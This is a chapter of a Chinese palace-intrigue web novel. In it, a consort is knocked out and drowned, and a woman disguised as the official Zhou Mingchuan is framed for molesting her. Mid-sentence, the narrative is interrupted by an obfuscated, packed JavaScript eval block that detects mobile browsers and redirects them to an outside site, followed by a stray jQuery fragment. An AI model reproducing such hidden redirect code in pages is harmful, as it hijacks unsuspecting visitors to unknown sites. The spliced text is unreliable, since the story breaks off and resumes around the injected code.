领路的侍女在前头走,宋时薇静默跟在其后。
云尉已被她遣派去寻魏财,今夜宴请群臣,许云冉毫无疑问在受邀之列,魏财觉察不妥必然会给她传信……
眼下也只能等了,宋时薇木然回神,抬眸望去,这才发觉那领路侍女走离好几步远,领路侍女的背影几乎要消失在小径两侧的假山之后,她不由得加快脚步。
“啊!”
宋时薇跌跌撞撞站起,胆战心惊低头跨过方才绊到的矮石,再抬头,那领路侍女的背影彻底消失不见了。
秋风瑟瑟,裙摆纷飞,宋时薇一惊一乍拍掉落到肩上的落叶,放慢脚步沿着的小径继续往前走。
她并不识路,准确来说,她从没来过这儿,入宫以来,她唯独在承香殿和紫宸殿之间走动,这亦是李修然的吩咐,虽说她至今未明白其中的缘由。
宋时薇尽量平放呼吸,开始打量起四周的景象,假山怪石,流水曲径,暗香密林,像是个小花园,她渐渐放松警惕,正打算鼓起勇气继续朝前走,忽而背部挨了记重拳,整个人顿时迷糊晕倒在身后闪现的黑影怀中。
“滋啦!”
刺骨寒心的池水霎时让她恢复意识,等到她意识到自己身处池水中时,水面已经漫过她的胸口。
缠绕捆绑的麻绳勒得手臂生疼,她无法动弹,只觉下坠的速度愈发加快,宋时薇大惊失色,深吸一口气埋头入水面,借着散漫惨白的月光,隐隐约约瞧见身后的重石,而那快重石,用一根麻绳与她的腰部捆绑在一起。
宋时薇吓得打了个水呛,她一口闷住,口中的水全数咽入肚子,冰凉发腥的池水使得她欲要作呕,她憋红眼,趁着抬头奋力冲向上,使劲深吸口气,终被重石再次拖入水中。
此刻已然精疲力尽,宋时薇瞪大眼睛凝望头顶波光粼粼的水面,眼睁睁看着自己与水面的距离越来越远。
*
鼓声响起,刹那间麟德殿烟火四起,绽放于黑夜的炫影之中。
萧玉安观察许云冉良久,见她目不转睛直盯堂上,愈发觉得心中不快,他若无其事目视中央飞舞的舞女,悄然伸手欲要轻推坐在邻案的许云冉作为提醒,却意外摸到什么软乎乎的东西。
他瞪大眼睛疑惑拧头,正对视上个同样是拧头瞪眼惊恐盯着他的太监。
何时插了个太监进来,萧玉安蹙眉不满,忽觉不对,他下意识将目光移到手掌。
原来他摸到的竟是这太监的臀部!
他“嗖”的一下收回那只僵硬的手,故作镇定别过头去饮茶,假装无事发生。
那太监悻悻回头继续与许云冉说话,只是身子明显朝许云冉靠近了些。
“周大人,陛下寻您前往御花园相谈。”
头微微后仰,许云冉不可置信偏头打量那太监,瞳孔骤然缩成两个点,她新官上任,李修然无缘无故寻她做什么,莫非是发现她的身份?
许云冉立即打消这个恐怖的念头,不可能,先前在京城时,她不曾见过四皇子,四皇子向来不得宠,也并未准许过出宫,她亦是鲜少入宫,最后一次入宫还是十二岁那年,即便有过一面之缘,如今样貌变化颇大,他不可能认出来,正是因为如此,她才敢顶着这张脸入朝为官。
说来今夜不见魏财伺候在李修然身边,是一个面生的太监伺候,似乎是叫乔德明,莫非是魏财差人寻她,可是宋时薇出了什么事?
许云冉思虑再三,开玩笑般试探道:“莫不是找错了人,鸿胪寺卿周文益周大人在另一侧呢。”
那太监面不改色坚持道:“回大人,陛下要见的正是您,请您快快跟奴才前去,莫要误了时辰。”
许云冉仰视堂上身着黄袍笑语相谈的男子道:“我瞧陛下并无离席之意……”
那太监惶恐偷瞄堂上一眼,再拱手坚持重复适才的话,不过此次声音倒是小了不少。
许云冉觉察猫腻,却不觉大理寺卿的身份被赵婉竹发现,以赵婉竹的性子,若是发觉她是大理寺卿,从进殿到现在不会不瞧她一眼。
想来要想知道其中诡计,必得跟这太监走一趟才行。
那太监欲要再出声催促,忽闻她答道“好”,瞬间松了口气,缓步起身,弓腰悄然引着许云冉从侧门往外走。
群臣喝得起劲,并未觉察异样。
太液池离麟德殿不远,池边柳树林立,花香四起,其中有一蓬莱仙岛,游船稀散,漆黑的船影摇摇晃晃倒映于波光间,似池中游龙。
回眸眺望,轻易瞧见麟德殿敞亮的宫灯,树影稀碎零散,亦能清晰看见来回进出麟德殿的宫人,可以说,这是个观察麟德殿的好地方。
许云冉不明所以,她不解回头直视跟前的领路太监,可那太监却是一动不动,低垂脑袋不敢抬眸与她对视。
她静默立于风中等待。
不知过了多久,她正欲询问那太监,忽而麟德殿传来一阵轰鸣的鼓声,殿内霎时沸腾起来,群臣相互结伴依次迈出殿门,沿着大道朝丹凤门赶。
许云冉再次压下心底疑惑,一边审视那太监一边偷瞄麟德殿的动静。
良久亦是没能瞧见李修然的身影,许云冉茫然回头,方想追问那太监,可这一次却不见人影,她不禁瞪大眼睛,循四周笔直的树木依次打量,仍旧不见那太监。
许云冉渐觉心悸,不祥的预感愈发强烈,她转身欲要离去,就那么一瞬间,眼角恍惚捕捉到一个黑色闪过飘忽的人影。
凭借直觉回头望去,只见那人影毫不犹豫纵身一跃,“扑通”一声,池边水花溅起。
许云冉傻眼,了然这是诡计圈套,正当她打算悄然前往察看时,树林嗖嗖几声,十余个护卫团团将她围住。
领头护卫大喊道:“来人!将他带走!”
众护卫得令纷纷举高长矛不断靠近她,将这围起的圆圈缩小。
“我自己会走。”
许云冉甩袖凛然,众护卫惊叹警惕,齐齐停下脚步等待领头的指示。
领头冷哼一声,嗤笑道:“还算识相,请吧,周大人!”
许云冉听出他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556892|171314||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话中嘲讽意味,可眼下不是舌战群儒的时候,她要做的,是搞清楚其中到底发生了何事?
众护卫紧盯许云冉,直到领头护卫将人带进麟德殿,才肯收起长矛守在门外等候。
宫灯未灭,两侧长案桌席已被宫人们撤净,酒肉熏香渐被端进的花香取代,堂上的男人冷眼威坐,静默听身边人小声嘀咕着什么。
待她踏入殿中那一刻,片刻的轻言细语全然消散,唯独急促的脚步和风声回荡于耳边。
“微臣参见陛下,淑妃娘娘。”
“周大人。”未等李修然出声,一个清脆悦耳的声音幽幽回转金殿,“你可知罪?”
赵婉竹喊她周大人,看来是没发觉她的身份,许云冉心中暗自冷嘲热讽她一番,不知所云坦然道:“臣何罪之有?”
她故意压低声音。
赵婉竹又道:“枉费萧大人举荐之恩,枉费陛下信任之意,真真罪孽深重!还不认罪?”
许云冉听她云里雾里绕话一番,这才意识过来眼下的处境。
前任大理寺卿是崔东百,即为赵家的走狗,新官上任,赵家亦是欲要派人顶替其位依次掌控大理寺,哪料萧玉安蓦然出手,拦下此职,继而落到她头上。
自升官入长安以来,赵文会屡次邀约许云冉吃酒,虽说年少在长安时赵文会见过她的次数不多,关于求她之事全然由柳氏和赵婉竹安排,他在朝堂上亦并未认出她这张脸。
许云冉自然是对赵文会那一肚子坏水心知肚明,不愿靠近败坏名声以至于不易在朝堂立足,且她将来定会与赵家作对,实在没必要伤害羽翼失去朝臣信任,思来想去,许云冉从未赴约,每每便找理由搪塞。
赵婉竹今日设计引她入瓮,为的怕是想替赵家夺回大理寺卿之职。
这大理寺卿说大不大,说小不小,虽说在朝堂治国理政没什么份量,可掌管长安案件,这达官贵人之间大都有见不得人的勾当,因而这大理寺卿便成了掌控朝臣的要塞。
“大胆周明川,调戏宫妃,以至柔嫔跳湖自尽,还不跪下!”
调戏?自尽?!
许云冉错愕失色,如遭雷击般僵在原地,宋时薇死了么?!
“请陛下明察!”
她反复琢磨方才那黑影跳湖的场面,回想起消失的太监,欲要寻出个破绽,又闻急促脚步声,惊恐偷偷回眸,只见魏财面不改色疾速稳当走到李修然身边。
“启禀陛下,奴才来迟,柔嫔娘娘偶感风寒,高热不退,寻了太医前去承香殿探察把脉,方才歇下。”
赵婉竹觉察身边投来阴厉目光,不禁打了个哆嗦,语无伦次道:“你撒谎!宫人们明明瞧见柔嫔被辱欲要跳湖自尽……”
“奴才所言句句属实。”魏财斩钉截铁打断道,“娘娘于承香殿横躺一夜养病,太医及殿内宫人皆可作证!”
赵婉竹瘫软扶案,欲要出声反驳之际,又听堂下之人话中有话道。
“娘娘善于怀疑嫔妃与朝臣有染,可是也曾做过此事以至于心中有鬼?”